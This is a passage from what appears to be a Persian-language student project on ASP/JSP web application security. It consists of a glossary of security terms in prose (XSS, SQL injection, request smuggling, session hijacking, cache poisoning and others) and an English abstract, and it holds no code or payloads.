JavaScriptدرخواست هاي اضافي كاربران را به منابع يك وب سايت انجام دهد ،.  

   
                                           

1 Web Application Security Consortium, http://www.webappsec.org/ 
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Anti‐Automation: 

و نه (فقط اجازه عبور انسان ) Turing Test(نيتي است كه با اجراي يك تست تورينگ يك اقدام ام
را مي دهد؛ و با اين كار برنامه هاي خودكاري را كه از قابليت هاي سايت استفاده مي كنند ) ماشين

  .متوقف مي كنند

  

Application Server: 

استفاده مي كند و توانايي اجراي صفحات پوياي  HTTPيك سرويس دهنده نرم افزاري، كه معمولا از 
نيز وجود دارند كه ) middleware(در اينجا ميان افزارهايي . برنامه هاي كاربردي تحت وب را دارد

اين قطعه هاي نرم افزاري نزديك يا روي سرويس دهنده وب نصب مي شوند و در موقع نياز فراخواني 
  .مي شوند

  

Authentication: 

 Authenticationررسي هويت يا مكان يك كاربر، يك سرويس يا يك برنامه كاربردي را فرايند ب
نظير يك (چيزي كه ما داريم  - 1: تاييد اعتبار از طريق حداقل سه مكانيسم صورت مي گيرد. گويند

مانند (چيزي كه ما هستيم  -3) نظير يك پسورد(چيزي كه ما مي دانيم  -2) سخت افزار يا يك كارت
برنامه تاييد اعتبار ممكن است سرويس هاي متفاوتي را به بنا به مكان، نحوه دسترسي، ). انگشتاثر 

  .زمان روز و مانند آن ارائه دهد

  

Authorization: 

تعيين اينكه يك كاربر، يك سرويس و يا يك برنامه به چه منابعي مجوز دسترسي دارد را 
Authorization انند منابع قابل دسترس مي تو. گويندURL ،ها، فايلها، پوشه هاservlet ها، پايگاه

  .هاي داده، مسيرهاي اجرايي و مانند آن باشند
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Backup File Disclosure: 

  .وجود دارد Predictable File Locationاين كلمه منسوخ شده و به جاي آن 

  

Basic Authentication: 

يك  HTTPكاربر . پشتيباني مي شود HTTPطرف كاربر كه در  Authenticationيك شكل ساده از 
header  درخواست كه شامل رمز شده نام كاربري و پسورد با الگوريتمBase64  است به طرف سرور
اگر نام كاربري و پسورد معتبر باشد، سرويس دهنده وب اجازه دسترسي به منابع درخواست . مي فرستد

  .شده را به كاربر مي دهد

  

Brute Force: 

ند خودكار است كه از روش آزمايش و خطا براي حدس زدن رشته سري كه از يك سيستم يك فراي
مثال هاي از اين رشته محرمانه مي تواند نام هاي كاربري، رمزهاي . محافظت مي كند، استفاده مي كند

  .عبور يا كليدهاي مخفي باشد

  

Buffer Overflow: 

ربردي را با بازنويسي قسمتي از حافظه به نفع يك تكنيك سو استفاده است كه جريان يك برنامه كا
اگر داده اي كه . ها نتيجه معمول عملكرد بد نرم افزارهاست Buffer Overflow. خود تغيير مي دهد

در بافر نوشته مي شود از حد خود عبور كند، حافظه مجاور آن خراب مي شود و به صورت معمول ايجاد 
از وضعيت سرريز بافر براي تغيير فرايند اجراي برنامه بهره مهاجم ممكن است بتواند . خطا مي كند
ممكن است منجر ) memory‐stack(سرريز كردن بافر و نوشتن مجدد اشاره گر پشته . برداري كند

  .به اجراي دستورات دلخواه سيستم عامل شود
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CGI Scanner: 

سرويس دهنده هاي وب و  يك برنامه امنيتي خودكار كه به دنبال آسيب پذيري هاي شناخته شده
ها در بررسي هاي خود خيلي CGI Scannerاغلب . برنامه هاي تحت وب پركاربرد و رايج مي گردد

شناخته شده  CGIرا در مقابل رشته هاي  HTTPدقيق نيستند و فقط يك سري از درخواست هاي 
  .بررسي مي كنند

  

CGI Security: 

  .استفاده مي كنند Web Application Securityبه جاي آن از . اين اصطلاح منسوخ شده

  

Client‐Side Scripting: 

مثال هايي از . را افزايش مي دهد HTMLيك خصيصه مرورگر وب است كه كارايي و پويايي صفحات 
 Client‐Sideزبان هاي  Scripting )عبارتند از ) در طرف كاربرJavaScript ،JScript  و
VBScript.  

  

Common Gateway Interface: 

يك استاندارد برنامه سازي براي نرم افزار ها جهت وصل شدن به برنامه هاي . CGIبه صورت مخفف 
  .كاربردي مقيم در سرويس دهنده هاي وب و اجراي آنها مي باشد

  

Configuration File Disclosure: 

  .را ببينيد Predictable File Location. اين اصطلاح منسوخ شده
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Content Spoofing: 

تكنيك حمله اي است كه در آن يك كاربر فريب يك سايت تقلبي را مي خورد و فكر مي كند كه 
  .سايت تقلبي همان سايت اصلي با اطلاعات درست است

  

Cookie: 

داده هاي كوچكي كه به وسيله يك سرويس دهنده به سمت كاربر وب ارسال مي شوند، كه مي توانند 
  . ابي گردندذخيره شوند و بعدا بازي

  

Cookie Manipulation: 

تغيير دادن و دستكاري مقادير كوكي ها، روي مرورگر وب كاربر، براي به كارگيري يك ضعف امنيتي 
مهاجمان معمولا . گويند Cookie Manipulationآشكار شده روي برنامه كاربردي تحت وب را 

اين . يك وب سايت دستكاري مي كنند مقادير كوكي هاي خود را براي به دست آوردن هويت جعلي در
حالت يك مثال از مشكل اعتماد كردن به كاربر است كه فرض شود هميشه ورودي هاي معقول مي 

  .فرستد

  

Cookie Poisoning: 

  .را ببينيد Cookie Manipulationاصطلاح . اين اصطلاح منسوخ شده است

  

Cross‐Site Scripting: 

يك تكنيك حمله است كه يك وب سايت را مجبور مي كند تا . ناميده مي شود XSSبه طور خلاصه 
وقتي يك كاربر . داده هاي تهيه شده توسط كاربر را انعكاس دهد تا در مرورگر يك كاربر ديگر اجرا شود
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نظير كوكي ها، تاريخچه، (واقع مي شود، مهاجم به تمام محتويات مرور گر وب وي  XSSمورد حمله 
  .دسترسي دارد) امه هاي كاربردي و مانند آننسخه برن

  

Debug Commands: 

ويژگي هاي اشكال زدايي برنامه هاي كاربردي يا فرمان هايي كه كمك به شناسايي خطاهاي برنامه 
  .نويسي در حين فرايند توسعه نرم افزار مي كنند

  

Denial of Service: 

بع موجود وب سايت را به قصد متوقف كردن تكنيك حمله ايست كه تمامي منا. DoSبه طور خلاصه 
، به كارگيري حافظه، پهناي باند، CPUاين منابع شامل زمان . دسترسي هاي مجاز مصرف مي كند
وقتي يكي از اين منابع به ظرفيت نهايي خود برسد، دسترسي . فضاي ديسك و مانند آن مي باشند

  .معمولي كاربر به سيستم قطع خواهد شد

  

Directory Browsing: 

  .را ببينيد Directory Indexing. اين اصطلاح منسوخ شده

 

Directory Enumeration: 

  .را ببينيد Predictable File Location. اين اصطلاح منسوخ شده
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Directory Indexing: 

خصيصه عادي يك سرويس دهنده وب معمول است كه باعث نمايش محتويات يك پوشه وقتي هيچ 
  .موجود نباشد مي شود فايل اصلي اي

  

Directory Traversal: 

تكنيكي براي سو استفاده از وب سايت است كه از طريق دسترسي به فايل ها و فرامين فراتر از پوشه 
بسياري از وب سايت ها دسترسي كاربران را به يك قسمت مشخص از .  اصلي اسناد حاصل مي شود

ناميده مي شود، محدود مي  CGIاسناد يا پوشه اصلي  فايل هاي سيستم كه به طور نمونه پوشه اصلي
در بيشتر حالات، يك . اين پوشه ها شامل فايل ها و اجرا شدني هايي براي استفاده عموم هستند. كنند

  .از اين نقطه دسترسي پيدا كند) بيرونتر(كاربر نبايد به فايل هايي فراتر 

 
DOM Based Cross Site Scripting: 

DOM  Based  Cross‐Site  Scripting  ياDOM  Based  XSS  يك حملهCross‐Site 

Scripting  است كه از يك برنامه نويسيJavaScript  استفاده ) يا به صورت كلي طرف كاربر(نا امن
در اين تكنيك، مهاجم اجراي . اتفاق مي افتد XSSمي كند كه در صفحات پاسخ، شرايط يك 

JavaScript  صورت غير امن از داده هاي را در صفحه اي كه بهURL  ياReferrer ) صفحه اي كه از
را براي اجراي كدهاي  ()evalممكن است تابع  scriptاين . استفاده مي كند، تغيير مي دهد) آن آمده

مي  JavaScriptكه بنابراين مرورگر آن را به عنوان يك ( DOMمغرضانه و يا جاسازي كردن آن در 
استاندارد كه در آن داده هاي مغرضانه  XSSاين تكنيك با يك . به كار برد) كند انگارد و آن را اجرا مي

 Dom Based XSSدر برخي حالات، . از طرف سرور در يك صفحه جا سازي مي شوند، متفاوت است
مي تواند طوري هدايت شود كه كدهاي مخرب حتي به سرويس دهنده وب نيز نرسند كه در اين حالت 

  .سرويس دهنده مخفي مي ماند وقوع حمله از ديد
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Encoding Attacks: 

يك تكنيك سو استفاده است كه به وسيله تغيير شكل داده هاي كاربر و گذر از فيلترهاي بررسي 
  .كننده، به وقوع حمله كمك مي كند

  

Extension Manipulation: 

  .را ببينيد Filename Manipulationعبارت . اين اصطلاح منسوخ شده است

  

File Enumeration: 

  .را ببينيد Predictable File Locationعبارت . اين اصطلاح منسوخ شده است

  

Filename Manipulation: 

باعث رخ  URLيك تكنيك حمله براي سو استفاده از وب سايت است كه با دستكاري نام فايلها در 
  .برنامه مي شود دادن خطا در برنامه، كشف محتويات پنهان يا نمايش كدهاي منبع يك

  

Filter‐Bypass Manipulation: 

Encoding Attacks را ببينيد.  

  

Forced Browsing: 

Predictable File Location را ببينيد.  
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Form Field Manipulation: 

به منظور سو  HTMLيا داده هاي پست شده  HTMLتغيير يا دستكاري مقادير ورودي فرم هاي 
  .يتي به وجود آمده در برنامه مي باشداستفاده از ضعف هاي امن

  

Format String Attack: 

يك تكنيك سو استفاده است كه جريان برنامه را با استفاده از ويژگيهاي كتابخانه فرمت رشته ها، براي 
  .دسترسي به ديگر فضاهاي حافظه تغيير مي دهد

  

Frame Spoofing: 

  .را ببينيد Content Spoofing. اين اصطلاح منسوخ شده است

  

Hypertext Transfer Protocol: 

. مورد استفاده قرار مي گيرد World Wide Webيك پروتكل است كه در . است HTTPمخفف آن 
HTTP  راه فرستادن درخواست ها از كاربر به سرويس دهنده و همچنين چگونگي پاسخ سرويس دهنده

  .به درخواست ها را مشخص مي كند

  

HTTP Request Smuggling: 

HTTP Request Smuggling  از اختلاف هاي تجزيه اي)parsing ( وقتي يك يا چند ديوايس
 cacheمثل ( server ،proxy  server ،web  application  firewall در مسير ) و مانند آن

اين كار در حالي كه حمله هاي . جريان داده بين كاربر و سرويس دهنده وب وجود دارند، بهره مي گيرد
رقم  Web Cache Poisoning ،Session Hijacking ،Cross‐Site Scriptingتلفي را مانند مخ

مهاجم بسته هاي فريب . مي زند، توانايي عبور از ديوار آتش حفاظتي برنامه كاربردي تحت وب را دارد
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مي فرستد كه باعث مي شود دو ديوايس مورد  HTTPدهنده مخصوصي به صورت درخواست هاي 
دو درخواست متفاوت از ) لا پروكسي و سرويس دهنده وب يا ديوار آتش و سرويس دهنده وبمث(حمله 

هم را ببينند كه به نفوذگر اجازه مي دهد تا درخواست خود را به صورت مخفيانه به يك ديوايس برساند 
  .بدون آنكه ديوايس ديگر متوجه آن شود

  

HTTP Response Smuggling: 

مي باشد كه مي تواند پيشگيري هاي  HTTP Response Splittingكنيك اين تكنيك قدرت يافته ت
 HTTP Responseضد  Splitting اين تكنيك از حالت مشابه . را دور بزندHTTP Request 

Smuggling  استفاده مي كند و از اختلافات بين آنچه ضدHTTP Response Splitting  به عنوان
HTTP  response  stream  مي شناسد وresponse  stream اي كه به وسيله يك سرويس

 HTTPبنابراين در حاليكه مكانيسم ضد . تجزيه شده است بهره مي برد) يا يك مرورگر(دهنده پروكسي 

Response Splitting  ممكن است يكresponse stream  را بي ضرر در نظر بگيرد)single 

HTTP response(ن را به عنوان دو ، يك پروكسي يا مرورگر مي تواند هنوز آHTTP response 
 HTTP Response Splittingتجزيه كند و بنابراين در معرض خطر تمامي نتيجه هاي تكنيك اصلي 

 HTTPبراي مثال برخي از مكانيسم هاي ضد . قرار بگيرد Response  Splitting  كه در بعضي
براي پاسخ  CR+LFشامل  headerموتورهاي برنامه كاربردي استفاده مي شوند، برنامه را از ورود يك 

ها CRشامل  headerبا اين حال مهاجم هنوز مي تواند برنامه را مجبور به ورود يك . ممنوع مي كنند
را  CRسي ممكن است هنوز بعضي از سرويس دهنده هاي پروك. كند، پس مكانيسم دفاع را دور مي زند

در نظر بگيرند، و در چنين شرايطي تركيب سرويس ) و پاسخ( headerفقط به عنوان يك جداكننده 
پروكسي را  cacheدهنده وب و سرويس دهنده پروكسي هنوز در مقابل حمله اي كه ممكن است 

  .آلوده كند آسيب پذير است

  

HTTP Response Splitting: 

بفرستد، كه در حالت معمول بايد تنها  HTTPشود تا سرويس دهنده وب دو پاسخ اين حمله باعث مي 
اين حمله ). نامگذاري شده Response Splittingبه همين دليل (مي فرستاد  HTTPيك پاسخ 
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توصيف شود، و معمولا ) HTTP )HTTP response injectionممكن است به صورت تزريق پاسخ 
كاراكترهاي   هدايت مي شود و از HTTPپاسخ  headerب به يك به وسيله تزريق داده هاي مخر

CR+LF  براي شكل دهي و اتمام پاسخ اول استفاده مي كند و سپس پاسخ اضافي را شكل داده و آن را
وجود قسمت دوم، پاسخ غير مترقبه به مهاجم كمك مي كند تا كاربري را كه اين . كنترل مي كند

سپس اين . ريبد و او را مجبور كند تا ابتدا درخواست دوم را بفرستدپاسخ اضافي را دريافت كرده بف
) كنترل شده توسط مهاجم(را با قسمت دوم درخواست ) كنترل شده توسط مهاجم(كاربر پاسخ دوم 
كاربر مجبور مي شود ) پاسخ كاربر- با توجه به جفت دوم درخواست(نتيجه نهايي آنكه . مطابقت مي دهد

مهاجم را به طرف سرور نفوذپذير بفرستد و در پاسخ، كاربر جواب فريبنده دلخواه تا درخواست دلخواه 
  .مهاجم را دريافت مي كند

  

Information Leakage: 

وقتي است كه يك وب سايت داده هاي حساس نظير توضيحات برنامه نويس يا پيغام هاي خطا را 
  .ي كندآشكار مي كند كه نفوذگر را در سو استفاده از سيستم كمك م

  

Insufficient Authentication: 

زمانيست كه وب سايت به مهاجم اجازه مي دهد تا به اطلاعات حساس يا توابع سيستم بدون بررسي 
  .هويت، دسترسي پيدا كند

  

Insufficient Authorization: 

زمند زمانيست كه وب سايت به مهاجم اجازه مي دهد تا به اطلاعات حساس يا توابع سيستم كه نيا
  .افزايش سطح دسترسي محدود هستند، دسترسي پيدا كند
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Insufficient Session Expiration: 

 Sessionزمانيست كه وب سايت به مهاجم اجازه مي دهد تا از  Credential  هاي قديمي يا
Session ID ها براي اهراز هويت، مجددا استفاده كند.  

  

Insufficient Process Validation: 

زمانيست كه يك وب سايت به مهاجم اجازه مي دهد تا جريان بررسي برنامه كاربردي را دور بزند يا 
  .فريب دهد

  

Java: 

  .توسعه يافته است Sun Microsystems(tm)يك زبان برنامه نويسي معمول كه توسط 

  

Java Applets: 

. نوشته مي شود و مي تواند در يك صفحه وب به كار رود Javaبرنامه ايست كه با زبان  appletيك 
را مرور كند، كد ها توسط  applet، يك صفحه شامل Javaوقتي كه يك مرورگر با توانايي ديدن 

Java Virtual Machine(JVM) اجرا مي شوند.  

  

JavaScript: 

  .ويا استفاده مي شوديك زبان معمول اسكريپت نويسي طرف كابر كه براي ايجاد محتويات صفحه وب پ

  

Known CGI file: 

Predictable File Location را ببينيد.  
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Known Directory: 

Predictable File Location را ببينيد.  

  

LDAP Injection: 

انتهايي از طريق دستكاري  LDAPيك تكنيك براي سو استفاده از وب سايت به وسيله تغيير عبارات 
  .مي باشد SQL Injectionيه متدولوژي شب. ورودي برنامه مي باشد

  

Meta‐Character Injection: 

يك تكنيك حمله است كه با فرستادن كاراكترهاي مخصوص به عنوان داده ورودي كه هركدام معاني 
ها Meta‐Character. خاصي براي برنامه كاربردي تحت وب دارند، از وب سايت سو استفاده مي كند

ص براي زبان هاي برنامه نويسي، فرمان هاي سيستم هاي عامل، فرايندهاي كاراكترهايي با معاني خا
اين كاراكترهاي خاص مي توانند رفتار يك . خاص برنامه، درخواست هاي پايگاه داده و مانند آن هستند

  . برنامه كاربردي تحت وب را كاملا تغيير دهند

  

Null Injection: 

ز فيلترهاي بررسي صحت داده با استفاده از اضافه كردن يك تكنيك سو استفاده است كه براي گذر ا
وقتي توسعه . ، به عنوان داده ورودي كاربر، انجام مي شودURLرمز شده در  null‐byteكاراكترهاي 

دهندگان برنامه هاي كاربردي تحت وب را با زبان هاي گوناگون مي سازند، اين برنامه هاي كاربردي 
حال اگر . سطح پايين تر مي فرستند Cازش بيشتر و كارايي بالاتر به توابع معمولا داده ها را براي پرد

باشد، برنامه كاربردي تحت وب ممكن است ) null )\0رشته فرستاده شده توسط كاربر شامل كاراكتر 
 Meta‐Characterيك شكل حمله  Null Injection. متوقف كند nullپردازش رشته را در نقطه 

  .است
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OS Command Injection: 

OS Commanding را ببينيد.  

  

OS Commanding: 

يك تكنيك حمله است كه از وب سايت، به وسيله اجراي فرمان هاي سيستم عامل از طريق دستكاري 
  .ورودي برنامه كاربردي، سو استفاده مي كند

 

Page Sequencing: 

Insufficient Process Validation را ببينيد.  

  

Parameter Tampering: 

 URLهمچنين به عنوان . گويند URLتغيير يا دستكاري نام پارامترها و ارزش آنها را در يك 

Manipulation شناخته مي شود.  

  

Password Recovery System: 

يك فرايند خودكار كه به كاربر اجازه مي دهد تا در صورت فراموش كردن يا گم كردن رمز عبور خود، 
  .ريست كندآن را بازيابي يا 

  

Predictable File Location: 

تكنيكي براي دسترسي به محتويات يا توابع پنهان يك سايت است كه به وسيله حدس زدن هاي 
مكان هاي قابل . هوشمندانه به صورت دستي يا خودكار روي نام و مكان فايل ها انجام مي شود
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نظيمات، فايل هاي پشتيبان، فايل هاي ها، فايل هاي تCGIپيشبيني مي تواند شامل دايركتوري ها، 
  .موقت و مانند آن باشد

  

Secure Sockets Layer: 

يك پروتكل كليد عمومي استاندارد صنعتي كه براي ساختن تونل هاي امن بين . SSLبه صورت مخفف 
  .تبديل مي شود HTTPSبه  HTTPبراي ارتباطات وب . دو ديوايس مرتبط در شبكه به كار مي رود

  

Session Credential: 

 URLرشته اي از داده است كه توسط سرويس دهنده وب درست مي شود و معمولا در يك كوكي يا 
  .ذخيره مي شود

  

Session Fixation: 

 Sessionيا  Session Credentialيك تكنيك حمله است و كاري ميكند تا  ID  كاربر يك مقدار
  .ثابت معلوم را اختيار كند

  

Session Forging: 

Session Prediction را ببينيد.  

  

Session Hi‐Jacking: 

دزديده شده  sessionمهاجم مي تواند از اين . كاربر توسط مهاجم است sessionنتيجه فاش شدن 
  .استفاده كند و خودش را به جاي كاربر اصلي جا بزند
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Session ID: 

 URLدر يك كوكي يا يك يك رشته داده است كه توسط سرويس دهنده ساخته مي شود و معمولا 
نشست كاربر را دنبال مي كند و يا شايد فقط پيمودن يك سايت  Session IDيك . ذخيره مي شود

  .توسط وي را پيگيري كند

  

Session Manipulation: 

 Sessionيا  Session IDيك تكنيك حمله براي دزديدن نشست كاربر ديگر به وسيله تغيير مقدار 

Credential است.  

  

Session Prediction: 

فعلي  Session IDهاي تقلبي يا حدس زدن  Session Credentialيك تكنيك حمله براي ساختن 
كاربر است و اگر موفق باشد، مهاجم مي تواند با استفاده از نشست دزديده شده خودش را به جاي يك 

  .كاربر ديگر جا بزند

  

Session Replay: 

قديمي  Session Credentialاجازه مي دهد تا دوباره از يك  وقتي است كه يك وب سايت به مهاجم
  .استفاده كند Authorizationقديمي براي  Session IDيا 

  

Session Tampering: 

Session Manipulation را ببينيد.  
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SQL Injection: 
نهايي از طريق  SQLيك تكنيك حمله براي سو استفاده از يك وب سايت به وسيله تغيير عبارات 

  .دستكاري ورودي هاي برنامه كاربردي مي باشد

  

SSI Injection: 

يك تكنيك حمله طرف سرور است كه به مهاجم اجازه مي دهد تا كدهاي خود را داخل برنامه كاربردي 
  .بفرستد كه به وسيله سرويس دهنده وب اجرا خواهد شد

  

Transport Layer Security: 

پوشيدگي ارتباطات در اينترنت  TLSپروتكل . SSLك جانشين امن تر به جاي ي. TLSبه صورت مخفف 
اجازه مي دهد تا ارتباطات ) client/server(اين پروتكل به برنامه هاي كاربردي . را تامين مي كند

خود را به گونه اي برقرار كنند تا از استراق سمع كردن، تغيير هاي نادرست يا پيام هاي جعلي در امان 
بنا شده اما اين دو سيستم قابل كاركردن به طور همزمان نيستند  SSLبر پايه پروتكل  TLS. نندبما

  ).باهم سازگار نيستند(

  

Universal Resource Locator: 

يك راه استاندارد براي تشخيص مكان يك شي، معمولا يك صفحه وب، روي . URLبه صورت مخفف 
  .اينترنت مي باشد

 

Unvalidated Input: 

وقتي است كه يك برنامه كاربردي تحت وب، صحت داده هاي فرستاده شده توسط كاربر را به درستي 
  .بررسي نمي كند
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URL Manipulation: 

 URL Manipulationتغيير يا دستكاري نام و مقادير پارامترهاي يك برنامه كاربردي تحت وب را 
  .گويند

  

User‐Agent Manipulation: 

محدوديت نوع مرورگر توسط يك وب سايت است كه به وسيله تغيير مقدار  تكنيكي براي گذر از
  .انجام مي شود HTTP User‐Agentتحت عنوان  headerفرستاده شده در 

  

Verbose Messages: 

قسمت هاي اطلاعات جزئي كه توسط يك وب سايت آشكار مي شوند كه مي توانند مهاجم را در سو 
  .استفاده از سيستم ياري دهند

  

Visual Verification: 

شيو هاي تصويرگراي ضد سيستم هاي خودكار هستند و براي توقف برنامه هاي خودكار كه از كارايي 
  .يك وب سايت استفاده مي كنند، به اين صورت كه وجود يك هوشياري را مي سنجند، به كار مي روند

  

  

Weak Password Recovery Validation: 

زه مي دهد تا مهاجم به طور غير قانوني رمز عبور كاربر ديگر را به دست زمانيست كه وب سايت اجا
  .آورد، تغيير دهد يا بازيابي كند
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Web Application: 

كه به درخواست هاي صفحات وب پويا پاسخ (يك نرم افزار كاربردي كه به وسيله سرويس دهنده وب 
  .اجرا مي شود) مي دهد

  

Web Application Scanner: 

Web Application Vulnerability Scanner را ببينيد.  

  

Web Application Security: 

و نرم افزار هاي كاربردي تحت وب را  World Wide Web ،HTTPعلم امنيت اطلاعات در رابطه با 
Web Application Security گويند.  

  

Web Application Firewall: 

 OSI Layer‐7ده وب قرار مي گيرد و پيغام هاي يك ديوايس واسط كه بين كاربر وب و سرويس دهن
ديوار آتش برنامه . را براي تشخيص تخطي از سياست امنيتي برنامه ريزي شده، بررسي مي كند

كاربردي تحت وب به عنوان يك ديوايس حفاظت كننده سرويس دهنده وب از حملات استفاده مي 
  .شود

  

Web Application Vulnerability Scanner: 

رنامه خودكار امنيتي است كه به دنبال آسيب پذيري هاي امنيتي نرم افزارها روي برنامه هاي يك ب
  .كاربردي تحت وب مي گردد
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Web Browser: 

 Hypertext Markup Languageبرنامه اي براي نمايش صفحات وب  (HTML)  فرستاده شده
  .توسط يك سرويس دهنده است

  

Web (or browser) Cache Poisoning: 

با ) يك سرويس دهنده پروكسي يا يك مرورگر caching(وارده  cacheعمل اضافه كردن يا بازنويسي 
در حالت قوي اين عمل، يك مهاجم . گويند Cache Poisoningداده هاي مخرب يا فريب دهنده را 

 cacheرا وارد  )انتخابي، يا يك صفحه با محتويات دلخواه URLنظير (مي تواند ورودي هاي دلخواه 
و پرس و جو  URLمهاجم مي تواند مسير ) توضيح داده شده( HTTP Response Splittingدر . كند

)host ،port  وscheme و كل محتويات صفحه را به دلخواه ) بايد پذيرنده آسيب پذيري باشند
 HTTPدر . انتخاب كند Request  Smuggling  مهاجم مي تواند مانندHTTP  Response 

Splitting ،URL  را انتخاب كند اما محتويات صفحه را بايد از يكURL  روي همان سايت انتخاب
 Cacheدر هر صورت . كند Poisoning  مي تواند به عنوان يك شكل از تغيير ظاهر

)defacement ( در نظر گرفته شود كه وسعت آن به وسيله منطقه زير پوششcache ) مثل
browser  كاربر،  1برايforward proxy  سازمان يا  1برايISP ،reverse proxy  براي همه

و يا دسترسي به بخشي از  index.html/دسترسي به تمامي صفحه روي (و توانايي حمله ) كاربران
  .تعيين مي شود) آن

  

Web Security: 

Web Application Security را ببينيد.  
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Web Security Assessment: 

ي امنيتي يك برنامه كاربردي تحت وب به وسيله جستجوي عيوب طراحي، آسيب فرايند اجراي وارس
  .پذيري ها و ضعف هاي ذاتي آن است

  

Web Security Scanner: 

Web Application Vulnerability Scanner را ببينيد.  

  

Web Server: 

. نها پاسخ مي دهدسر و كار دارد و به آ HTTPيك نرم افزار همه منظوره است كه با در خواست هاي 
يك سرويس دهنده وب ممكن است از يك برنامه كاربردي تحت وب براي محتويات صفحات وب پويا 

  .استفاده كند

  

Web Service: 

براي  Extensible Markup Language(XML)يك نرم افزار كاربردي است كه از پيام ها با قالب 
 web(رهاي كاربردي ترجيحا با سرويس هاي وبي عمدتا نرم افزا. استفاده مي كند HTTPارتباط روي 

services (بيشتر از كاربران معمولي فعل و انفعال دارند.  
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Abstract: This project is about web application security in ASP and JSP. 

Basic concepts about web applications and the web languages is discussed in 

the first chapter. In the next chapter, core security problems of web 

applications and the most important web applications’ vulnerabilities is 

mentioned. In the third chapter, with trend of identifying attack steps on web 

applications, mapping the application and searching for the vulnerabilities 

have been examined. Finally, the last chapter is about protection methods 

and hardening against attack operation. 
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